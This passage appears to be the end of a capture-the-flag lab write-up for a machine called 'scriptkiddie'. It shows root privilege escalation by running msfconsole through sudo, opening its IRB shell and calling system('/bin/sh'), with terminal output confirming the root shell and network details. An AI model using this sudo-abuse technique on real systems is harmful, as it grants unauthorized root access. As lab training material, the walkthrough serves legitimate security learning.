msfconsole


The pwn user has sudo privileges to execute msfconsole located at /opt/metasploit-framework-6.0.9/msfconsole

pwn@scriptkiddie:~/recon$ sudo -u root /opt/metasploit-framework-6.0.9/msfconsole 
 
%
%           
% https://metasploit.com 
  %  %
    %  %  %
    %          %      %               %                    %             %     %
%  
%          %%%
 
 
       =[ metasploit v6.0.9-dev                           ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]
 
metasploit tip: View all productivity tips with the tips command

I first need to start msfconsole with the sudo privileges as the root user

msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
 
irb: warn: can't alias jobs from irb_jobs.

then i just need to start up irb shell

>> system("/bin/sh")
# 

Then I can just spawn a shell as the root user

# whoami
root
# hostname
scriptkiddie
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:84:37 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.226/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:8437/64 scope global dynamic mngtmpaddr 
       valid_lft 86391sec preferred_lft 14391sec
    inet6 fe80::250:56ff:feb9:8437/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise